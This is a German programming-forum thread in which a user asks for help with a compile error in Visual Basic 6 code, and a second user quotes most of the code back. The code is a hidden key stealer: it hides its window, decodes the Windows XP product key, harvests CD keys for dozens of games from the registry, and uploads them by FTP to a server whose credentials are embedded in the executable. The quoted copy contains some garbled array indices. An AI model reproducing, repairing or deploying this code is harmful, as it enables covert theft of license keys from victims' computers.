|
| Autor |
Nachricht |
marcel1994_
Coder
Anmeldedatum: 08.02.2008
Beiträge: 202
|
Fehler?!?!
Verfasst am: 15.02.2008, 17:32 |
|
|
Warum zeigt der mier an der makierten stelle im Code einen Fehler an (beim kompilieren):
(siehe den Post nach meinem der ist gut gekennzeichnet da ichs nicht hinbekommen habe!)
| Code: |
Option Explicit
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Const REG_BINARY = 3
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const ERROR_SUCCESS = 0&
Public Function sGetXPCDKey() As String
Dim bDigitalProductID() As Byte
Dim bProductKey() As Byte
Dim ilByte As Long
Dim lDataLen As Long
Dim hKey As Long
If RegOpenKey(HKEY_LOCAL_MACHINE, "SOFTWARE\MICROSOFT\Windows NT\CurrentVersion", hKey) = ERROR_SUCCESS Then
lDataLen = 164
ReDim Preserve bDigitalProductID(lDataLen)
If RegQueryValueEx(hKey, "DigitalProductId", 0&, REG_BINARY, bDigitalProductID(0), lDataLen) = ERROR_SUCCESS Then
ReDim Preserve bProductKey(14)
For ilByte = 52 To 66
bProductKey(ilByte - 52) = bDigitalProductID(ilByte)
Next ilByte
Else
sGetXPCDKey = ""
Exit Function
End If
Else
sGetXPCDKey = ""
Exit Function
End If
Dim bKeyChars(0 To 24) As Byte
bKeyChars(0) = Asc("B")
bKeyChars(1) = Asc("C")
bKeyChars(2) = Asc("D")
bKeyChars(3) = Asc("F")
bKeyChars(4) = Asc("G")
bKeyChars(5) = Asc("H")
bKeyChars(6) = Asc("J")
bKeyChars(7) = Asc("K")
bKeyChars(8) = Asc("M")
bKeyChars(9) = Asc("P")
bKeyChars(10) = Asc("Q")
bKeyChars(11) = Asc("R")
bKeyChars(12) = Asc("T")
bKeyChars(13) = Asc("V")
bKeyChars(14) = Asc("W")
bKeyChars(15) = Asc("X")
bKeyChars(16) = Asc("Y")
bKeyChars(17) = Asc("2")
bKeyChars(18) = Asc("3")
bKeyChars(19) = Asc("4")
bKeyChars(20) = Asc("6")
bKeyChars(21) = Asc("7")
bKeyChars(22) = Asc("8")
bKeyChars(23) = Asc("9")
Dim nCur As Integer
Dim sCDKey As String
Dim ilKeyByte As Long
Dim ilBit As Long
For ilByte = 24 To 0 Step -1
nCur = 0
For ilKeyByte = 14 To 0 Step -1
nCur = nCur * 256 Xor bProductKey(ilKeyByte)
bProductKey(ilKeyByte) = Int(nCur / 24)
nCur = nCur Mod 24
Next ilKeyByte
sCDKey = Chr(bKeyChars(nCur)) & sCDKey
If ilByte Mod 5 = 0 And ilByte <> 0 Then sCDKey = "-" & sCDKey
Next ilByte
sGetXPCDKey = sCDKey
End Function
Private Sub Form_Load()
Dim options As String * 100
Dim cmd() As String
Dim host As String
Dim user As String
Dim pw As String
Form1.Visible = False
Dim key As String
key = sGetXPCDKey()
If Not key = "" Then
Open "C:\pws.txt" For Output As #1
Print #1, key
Dim Inhalt As String <- (Inhalt)
Inhalt = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Activision\Call of Duty 4\codkey") <- (Inhalt)
Text1 = "Call of Duty 4: " & Inhalt
Text1.Enabled = False
Inhalt2 = RegRead("HKEY_LOCAL_MACHINE\Software\Activision\Call of Duty,codkey Chrome,HKLM\Software\Techland\Chrome,SerialNumber")
Text2 = "Call of Duty: " & Inhalt2
Text2.Enabled = False
Inhalt3 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Generals\ergc")
Text3 = "Command and Conquer Generals: " & Inhalt3
Text3.Enabled = False
Inhalt4 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Command and Conquer Generals Zero Hour\ergc")
Text4 = "Command and Conquer Generals Zero Hour: " & Inhalt4
Text4.Enabled = False
Inhalt5 = RegRead("HKEY_LOCAL_MACHINE\Software\Westwood\Red Alert 2,Serial")
Text5 = "Command and Conquer Red Alert 2: " & Inhalt5
Text5.Enabled = False
Inhalt6 = RegRead("HKEY_LOCAL_MACHINE\Software\Westwood\Red Alert,Serial")
Text6 = "Command and Conquer Red Alert: " & Inhalt6
Text6.Enabled = False
Inhalt7 = RegRead("HKEY_LOCAL_MACHINE\Software\Westwood\Tiberian Sun,Serial")
Text7 = "Command and Conquer Tiberian Sun: " & Inhalt7
Text7.Enabled = False
Inhalt8 = RegRead("HKCU\Software\Valve\CounterStrike\Settings")
Text8 = "Counter-Strike: " & Inhalt8
Text8.Enabled = False
Inhalt9 = RegRead("HKEY_LOCAL_MACHINE\Software\Crytek\FarCry\Ubi.com,CDKey")
Text9 = "FarCry: " & Inhalt9
Text9.Enabled = False
Inhalt10 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\FIFA 2002\ergc")
Text10 = "FIFA 2002: " & Inhalt10
Text10.Enabled = False
Inhalt11 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\FIFA 2003\ergc")
Text11 = "FIFA 2003: " & Inhalt11
Text11.Enabled = False
Inhalt12 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\FIFA 2004\ergc")
Text12 = "FIFA 2004: " & Inhalt12
Text12.Enabled = False
Inhalt13 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Distribution\Freedom Force\ergc")
Text13 = "Freedom Force: " & Inhalt13
Text13.Enabled = False
Inhalt14 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Global Operations\ergc")
Text14 = "Global Operations: " & Inhalt14
Text14.Enabled = False
Inhalt15 = RegRead("HKCU\Software\Valve\Gunman\Settings")
Text15 = "Gunman Chronicles: " & Inhalt15
Text15.Enabled = False
Inhalt16 = RegRead("HKCU\Software\Valve\Half-Life\Settings")
Text16 = "Half-Life: " & Inhalt16
Text16.Enabled = False
Inhalt17 = RegRead("HKEY_LOCAL_MACHINE\Software\Illusion Softworks\Hidden & Dangerous 2,key")
Text17 = "Hidden and Dangerous 2: " & Inhalt17
Text17.Enabled = False
Inhalt18 = RegRead("HKEY_LOCAL_MACHINE\Software\IGI 2 Retail\CDKey,CDkey")
Text18 = "IGI2-Covert Strike: " & Inhalt18
Text18.Enabled = False
Inhalt19 = RegRead("HKCU\Software\JoWooD\InstalledGames\IG2")
Text19 = "Industry Giant 2: " & Inhalt19
Text19.Enabled = False
Inhalt20 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc")
Text20 = "James Bond 007 Nightfire: " & Inhalt20
Text20.Enabled = False
Inhalt21 = RegRead("HKCU\Software\3d0\Status")
Text21 = "Legends of Might and Magic: " & Inhalt21
Text21.Enabled = False
Inhalt22 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\ergc")
Text22 = "Medal of Honor Allied Assault: " & Inhalt22
Text22.Enabled = False
Inhalt23 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Breakthrough\ergc")
Text23 = "Medal of Honor Allied Assault-Breakthrough: " & Inhalt23
Text23.Enabled = False
Inhalt24 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Spearhead\ergc")
Text24 = "Medal of Honor Allied Assault-Spearhead: " & Inhalt24
Text24.Enabled = False
Inhalt25 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\Nascar Racing 2002\ergc")
Text25 = "Nascar Racing 2002: " & Inhalt25
Text25.Enabled = False
Inhalt26 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\Nascar Racing 2003\ergc")
Text26 = "Nascar Racing 2003: " & Inhalt26
Text26.Enabled = False
Inhalt27 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\NBA LIVE 2003\ergc")
Text27 = "NBA LIVE 2003: " & Inhalt27
Text27.Enabled = False
Inhalt28 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\NBA LIVE 2004\ergc")
Text28 = "NBA LIVE 2004: " & Inhalt28
Text28.Enabled = False
Inhalt29 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\NHL 2002\ergc")
Text29 = "NHL 2002: " & Inhalt29
Text29.Enabled = False
Inhalt30 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\NHL 2003\ergc")
Text30 = "NHL 2003: " & Inhalt30
Text30.Enabled = False
Inhalt31 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\NHL 2004\ergc")
Text31 = "NHL 2004: " & Inhalt31
Text31.Enabled = False
Inhalt32 = RegRead("HKEY_LOCAL_MACHINE\Software\Westwood\Nox,Serial")
Text32 = "NOX: " & Inhalt32
Text32.Enabled = False
Inhalt33 = RegRead("HKEY_LOCAL_MACHINE\Software\Red Storm Entertainment\RAVENSHIELD,CDKey")
Text33 = "Rainbow Six III RavenShield: " & Inhalt33
Text33.Enabled = False
Inhalt34 = RegRead("HKCU\Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings")
Text34 = "Soldiers Of Anarchy: " & Inhalt34
Text34.Enabled = False
Inhalt35 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edition\ergc")
Text35 = "Shogun Total War Warlord Edition: " & Inhalt35
Text35.Enabled = False
Inhalt36 = RegRead("HKEY_LOCAL_MACHINE\Software\Unreal Technology\Installed Apps\UT2003,CDKey")
Text36 = "Unreal Tournament 2003: " & Inhalt36
Text36.Enabled = False
Inhalt37 = RegRead("HKEY_LOCAL_MACHINE\Software\Unreal Technology\Installed Apps\UT2004,CDKey")
Text37 = "Unreal Tournament 2004: " & Inhalt37
Text37.Enabled = False
Inhalt38 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Battlefield 1942\ergc")
Text38 = "Battlefield 1942: " & Inhalt38
Text38.Enabled = False
Inhalt39 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons of WWII\ergc")
Text39 = "Battlefield 1942 Secret Weapons Of WWII: " & Inhalt39
Text39.Enabled = False
Inhalt40 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rome\ergc")
Text40 = "Battlefield 1942 The Road To Rome: " & Inhalt40
Text40.Enabled = False
Inhalt41 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rome\ergc")
Text41 = "Battlefield 1942 The Road To Rome: " & Inhalt41
Text41.Enabled = False
Inhalt42 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc")
Text42 = "Battlefield Vietnam: " & Inhalt42
Text42.Enabled = False
Inhalt43 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Games\Battlefield 2\ergc")
Text43 = "Battlefield 2: " & Inhalt43
Text43.Enabled = False
Inhalt44 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\ergc")
Text44 = "Need For Speed Hot Pursuit 2: " & Inhalt44
Text44.Enabled = False
Inhalt45 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Need For Speed Underground\ergc")
Text45 = "Need For Speed Underground: " & Inhalt45
Text45.Enabled = False
Inhalt46 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Need for Speed Most Wanted\ergc")
Text46 = "Need For Speed Most Wanted: " & Inhalt46
Text46.Enabled = False
Inhalt47 = RegRead("HKCU\Software\Eugen Systems\The Gladiators")
Text47 = "The Gladiators: " & Inhalt47
Text47.Enabled = False
Inhalt48 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\The Sims Deluxe\ergc")
Text48 = "The Sims Deluxe: " & Inhalt48
Text48.Enabled = False
Inhalt49 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\The Sims Hot Date\ergc")
Text49 = "The Sims Hot Date: " & Inhalt49
Text49.Enabled = False
Inhalt50 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\The Sims House Party\ergc")
Text50 = "The Sims House Party: " & Inhalt50
Text50.Enabled = False
Inhalt51 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\The Sims Livin' Large\ergc")
Text51 = "The Sims Livin: " & Inhalt51
Text51.Enabled = False
Inhalt52 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\The Sims Superstar\ergc")
Text52 = "The Sims Superstar: " & Inhalt52
Text52.Enabled = False
Inhalt53 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\The Sims Unleashed\ergc")
Text53 = "The Sims Unleashed: " & Inhalt53
Text53.Enabled = False
Inhalt54 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\The Sims Vacation\ergc")
Text54 = "The Sims Vacation: " & Inhalt54
Text54.Enabled = False
Inhalt55 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\The Sims\ergc")
Text55 = "The Sims: " & Inhalt55
Text55.Enabled = False
Inhalt56 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\Sim City 4 Deluxe\ergc")
Text56 = "Sim City 4 Deluxe: " & Inhalt56
Text56.Enabled = False
Inhalt57 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\Sim City 4\ergc")
Text57 = "Sim City 4: " & Inhalt57
Text57.Enabled = False
Inhalt58 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Games\The Battle for Middle-earth\ergc")
Text58 = "The Battle for Middle-earth: " & Inhalt58
Text58.Enabled = False
Inhalt59 = RegRead("HKEY_LOCAL_MACHINE\Software\Sunflowers\Anno 1701,SerialNo")
Text59 = "Anno 1701: " & Inhalt59
Text59.Enabled = False
Open (App.Path & "\" & App.EXEName & ".exe") For Binary As #1
Get #1, LOF(1) - 99, options
Close #1
cmd() = Split(options, "#")
host = cmd(0)
user = cmd(1)
pw = cmd(2)
Dim LocalFile As String
LocalFile = Environ("local drive") & "\" & "pws.txt"
If FileExists(LocalFile) Then
Kill LocalFile
End If
Open LocalFile For Output As #1
Print #1, Inhalt
Close #1
Dim RemoteFile As String
RemoteFile = "" & Environ$("computername") & ".txt"
With Inet1
.AccessType = icUseDefault
.Protocol = icFTP
.RemotePort = "21"
.URL = cmd(0)
.UserName = cmd(1)
.Password = cmd(2)
.Execute , "PUT " & LocalFile & " " & RemoteFile
End With
Do While Inet1.StillExecuting = True
DoEvents
Loop
Kill LocalFile
Close
End If
End
End Sub
Private Function FileExists(ByVal FileName As String) As Boolean
On Local Error Resume Next
FileExists = (Dir$(FileName) <> "")
End Function
Private Function RegRead(Path As String) As String
Dim ws As Object
On Error GoTo ErrHandler
Set ws = CreateObject("WScript.Shell")
RegRead = ws.RegRead(Path)
Exit Function
ErrHandler:
RegRead = ""
End Function
|
Bitte um Hilfe. Danke im Voraus
Zuletzt bearbeitet von marcel1994_ am 15.02.2008, 17:37, insgesamt 3-mal bearbeitet |
|
| |
|
 |
seraph1n_
Coder
Anmeldedatum: 06.01.2008
Beiträge: 93
Wohnort: aaaaaaaaa Level: 1337
|
Verfasst am: 15.02.2008, 17:34 |
|
|
| Zitat: |
Option Explicit
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Const REG_BINARY = 3
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const ERROR_SUCCESS = 0&
Public Function sGetXPCDKey() As String
Dim bDigitalProductID() As Byte
Dim bProductKey() As Byte
Dim ilByte As Long
Dim lDataLen As Long
Dim hKey As Long
If RegOpenKey(HKEY_LOCAL_MACHINE, "SOFTWARE\MICROSOFT\Windows NT\CurrentVersion", hKey) = ERROR_SUCCESS Then
lDataLen = 164
ReDim Preserve bDigitalProductID(lDataLen)
If RegQueryValueEx(hKey, "DigitalProductId", 0&, REG_BINARY, bDigitalProductID(0), lDataLen) = ERROR_SUCCESS Then
ReDim Preserve bProductKey(14)
For ilByte = 52 To 66
bProductKey(ilByte - 52) = bDigitalProductID(ilByte)
Next ilByte
Else
sGetXPCDKey = ""
Exit Function
End If
Else
sGetXPCDKey = ""
Exit Function
End If
Dim bKeyChars(0 To 24) As Byte
bKeyChars(0) = Asc("B")
bKeyChars(1) = Asc("C")
bKeyChars(2) = Asc("D")
bKeyChars(3) = Asc("F")
bKeyChars(4) = Asc("G")
bKeyChars(5) = Asc("H")
bKeyChars(6) = Asc("J")
bKeyChars(7) = Asc("K")
bKeyChars( = Asc("M")
bKeyChars(9) = Asc("P")
bKeyChars(10) = Asc("Q")
bKeyChars(11) = Asc("R")
bKeyChars(12) = Asc("T")
bKeyChars(13) = Asc("V")
bKeyChars(14) = Asc("W")
bKeyChars(15) = Asc("X")
bKeyChars(16) = Asc("Y")
bKeyChars(17) = Asc("2")
bKeyChars(1 = Asc("3")
bKeyChars(19) = Asc("4")
bKeyChars(20) = Asc("6")
bKeyChars(21) = Asc("7")
bKeyChars(22) = Asc("8")
bKeyChars(23) = Asc("9")
Dim nCur As Integer
Dim sCDKey As String
Dim ilKeyByte As Long
Dim ilBit As Long
For ilByte = 24 To 0 Step -1
nCur = 0
For ilKeyByte = 14 To 0 Step -1
nCur = nCur * 256 Xor bProductKey(ilKeyByte)
bProductKey(ilKeyByte) = Int(nCur / 24)
nCur = nCur Mod 24
Next ilKeyByte
sCDKey = Chr(bKeyChars(nCur)) & sCDKey
If ilByte Mod 5 = 0 And ilByte <> 0 Then sCDKey = "-" & sCDKey
Next ilByte
sGetXPCDKey = sCDKey
End Function
Private Sub Form_Load()
Dim options As String * 100
Dim cmd() As String
Dim host As String
Dim user As String
Dim pw As String
Form1.Visible = False
Dim key As String
key = sGetXPCDKey()
If Not key = "" Then
Open "C:\pws.txt" For Output As #1
Print #1, key
Dim Inhalt As String
Inhalt = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Activision\Call of Duty 4\codkey")
Text1 = "Call of Duty 4: " & Inhalt
Text1.Enabled = False
Inhalt2 = RegRead("HKEY_LOCAL_MACHINE\Software\Activision\Call of Duty,codkey Chrome,HKLM\Software\Techland\Chrome,SerialNumber")
Text2 = "Call of Duty: " & Inhalt2
Text2.Enabled = False
Inhalt3 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Generals\ergc")
Text3 = "Command and Conquer Generals: " & Inhalt3
Text3.Enabled = False
Inhalt4 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Command and Conquer Generals Zero Hour\ergc")
Text4 = "Command and Conquer Generals Zero Hour: " & Inhalt4
Text4.Enabled = False
Inhalt5 = RegRead("HKEY_LOCAL_MACHINE\Software\Westwood\Red Alert 2,Serial")
Text5 = "Command and Conquer Red Alert 2: " & Inhalt5
Text5.Enabled = False
Inhalt6 = RegRead("HKEY_LOCAL_MACHINE\Software\Westwood\Red Alert,Serial")
Text6 = "Command and Conquer Red Alert: " & Inhalt6
Text6.Enabled = False
Inhalt7 = RegRead("HKEY_LOCAL_MACHINE\Software\Westwood\Tiberian Sun,Serial")
Text7 = "Command and Conquer Tiberian Sun: " & Inhalt7
Text7.Enabled = False
Inhalt8 = RegRead("HKCU\Software\Valve\CounterStrike\Settings")
Text8 = "Counter-Strike: " & Inhalt8
Text8.Enabled = False
Inhalt9 = RegRead("HKEY_LOCAL_MACHINE\Software\Crytek\FarCry\Ubi.com,CDKey")
Text9 = "FarCry: " & Inhalt9
Text9.Enabled = False
Inhalt10 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\FIFA 2002\ergc")
Text10 = "FIFA 2002: " & Inhalt10
Text10.Enabled = False
Inhalt11 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\FIFA 2003\ergc")
Text11 = "FIFA 2003: " & Inhalt11
Text11.Enabled = False
Inhalt12 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\FIFA 2004\ergc")
Text12 = "FIFA 2004: " & Inhalt12
Text12.Enabled = False
Inhalt13 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Distribution\Freedom Force\ergc")
Text13 = "Freedom Force: " & Inhalt13
Text13.Enabled = False
Inhalt14 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Global Operations\ergc")
Text14 = "Global Operations: " & Inhalt14
Text14.Enabled = False
Inhalt15 = RegRead("HKCU\Software\Valve\Gunman\Settings")
Text15 = "Gunman Chronicles: " & Inhalt15
Text15.Enabled = False
Inhalt16 = RegRead("HKCU\Software\Valve\Half-Life\Settings")
Text16 = "Half-Life: " & Inhalt16
Text16.Enabled = False
Inhalt17 = RegRead("HKEY_LOCAL_MACHINE\Software\Illusion Softworks\Hidden & Dangerous 2,key")
Text17 = "Hidden and Dangerous 2: " & Inhalt17
Text17.Enabled = False
Inhalt18 = RegRead("HKEY_LOCAL_MACHINE\Software\IGI 2 Retail\CDKey,CDkey")
Text18 = "IGI2-Covert Strike: " & Inhalt18
Text18.Enabled = False
Inhalt19 = RegRead("HKCU\Software\JoWooD\InstalledGames\IG2")
Text19 = "Industry Giant 2: " & Inhalt19
Text19.Enabled = False
Inhalt20 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc")
Text20 = "James Bond 007 Nightfire: " & Inhalt20
Text20.Enabled = False
Inhalt21 = RegRead("HKCU\Software\3d0\Status")
Text21 = "Legends of Might and Magic: " & Inhalt21
Text21.Enabled = False
Inhalt22 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\ergc")
Text22 = "Medal of Honor Allied Assault: " & Inhalt22
Text22.Enabled = False
Inhalt23 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Breakthrough\ergc")
Text23 = "Medal of Honor Allied Assault-Breakthrough: " & Inhalt23
Text23.Enabled = False
Inhalt24 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Spearhead\ergc")
Text24 = "Medal of Honor Allied Assault-Spearhead: " & Inhalt24
Text24.Enabled = False
Inhalt25 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\Nascar Racing 2002\ergc")
Text25 = "Nascar Racing 2002: " & Inhalt25
Text25.Enabled = False
Inhalt26 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\Nascar Racing 2003\ergc")
Text26 = "Nascar Racing 2003: " & Inhalt26
Text26.Enabled = False
Inhalt27 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\NBA LIVE 2003\ergc")
Text27 = "NBA LIVE 2003: " & Inhalt27
Text27.Enabled = False
Inhalt28 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\NBA LIVE 2004\ergc")
Text28 = "NBA LIVE 2004: " & Inhalt28
Text28.Enabled = False
Inhalt29 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\NHL 2002\ergc")
Text29 = "NHL 2002: " & Inhalt29
Text29.Enabled = False
Inhalt30 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\NHL 2003\ergc")
Text30 = "NHL 2003: " & Inhalt30
Text30.Enabled = False
Inhalt31 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Sports\NHL 2004\ergc")
Text31 = "NHL 2004: " & Inhalt31
Text31.Enabled = False
Inhalt32 = RegRead("HKEY_LOCAL_MACHINE\Software\Westwood\Nox,Serial")
Text32 = "NOX: " & Inhalt32
Text32.Enabled = False
Inhalt33 = RegRead("HKEY_LOCAL_MACHINE\Software\Red Storm Entertainment\RAVENSHIELD,CDKey")
Text33 = "Rainbow Six III RavenShield: " & Inhalt33
Text33.Enabled = False
Inhalt34 = RegRead("HKCU\Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings")
Text34 = "Soldiers Of Anarchy: " & Inhalt34
Text34.Enabled = False
Inhalt35 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edition\ergc")
Text35 = "Shogun Total War Warlord Edition: " & Inhalt35
Text35.Enabled = False
Inhalt36 = RegRead("HKEY_LOCAL_MACHINE\Software\Unreal Technology\Installed Apps\UT2003,CDKey")
Text36 = "Unreal Tournament 2003: " & Inhalt36
Text36.Enabled = False
Inhalt37 = RegRead("HKEY_LOCAL_MACHINE\Software\Unreal Technology\Installed Apps\UT2004,CDKey")
Text37 = "Unreal Tournament 2004: " & Inhalt37
Text37.Enabled = False
Inhalt38 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Battlefield 1942\ergc")
Text38 = "Battlefield 1942: " & Inhalt38
Text38.Enabled = False
Inhalt39 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons of WWII\ergc")
Text39 = "Battlefield 1942 Secret Weapons Of WWII: " & Inhalt39
Text39.Enabled = False
Inhalt40 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rome\ergc")
Text40 = "Battlefield 1942 The Road To Rome: " & Inhalt40
Text40.Enabled = False
Inhalt41 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rome\ergc")
Text41 = "Battlefield 1942 The Road To Rome: " & Inhalt41
Text41.Enabled = False
Inhalt42 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc")
Text42 = "Battlefield Vietnam: " & Inhalt42
Text42.Enabled = False
Inhalt43 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Games\Battlefield 2\ergc")
Text43 = "Battlefield 2: " & Inhalt43
Text43.Enabled = False
Inhalt44 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\ergc")
Text44 = "Need For Speed Hot Pursuit 2: " & Inhalt44
Text44.Enabled = False
Inhalt45 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Need For Speed Underground\ergc")
Text45 = "Need For Speed Underground: " & Inhalt45
Text45.Enabled = False
Inhalt46 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA GAMES\Need for Speed Most Wanted\ergc")
Text46 = "Need For Speed Most Wanted: " & Inhalt46
Text46.Enabled = False
Inhalt47 = RegRead("HKCU\Software\Eugen Systems\The Gladiators")
Text47 = "The Gladiators: " & Inhalt47
Text47.Enabled = False
Inhalt48 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\The Sims Deluxe\ergc")
Text48 = "The Sims Deluxe: " & Inhalt48
Text48.Enabled = False
Inhalt49 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\The Sims Hot Date\ergc")
Text49 = "The Sims Hot Date: " & Inhalt49
Text49.Enabled = False
Inhalt50 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\The Sims House Party\ergc")
Text50 = "The Sims House Party: " & Inhalt50
Text50.Enabled = False
Inhalt51 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\The Sims Livin' Large\ergc")
Text51 = "The Sims Livin: " & Inhalt51
Text51.Enabled = False
Inhalt52 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\The Sims Superstar\ergc")
Text52 = "The Sims Superstar: " & Inhalt52
Text52.Enabled = False
Inhalt53 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\The Sims Unleashed\ergc")
Text53 = "The Sims Unleashed: " & Inhalt53
Text53.Enabled = False
Inhalt54 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\The Sims Vacation\ergc")
Text54 = "The Sims Vacation: " & Inhalt54
Text54.Enabled = False
Inhalt55 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\The Sims\ergc")
Text55 = "The Sims: " & Inhalt55
Text55.Enabled = False
Inhalt56 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\Sim City 4 Deluxe\ergc")
Text56 = "Sim City 4 Deluxe: " & Inhalt56
Text56.Enabled = False
Inhalt57 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\Maxis\Sim City 4\ergc")
Text57 = "Sim City 4: " & Inhalt57
Text57.Enabled = False
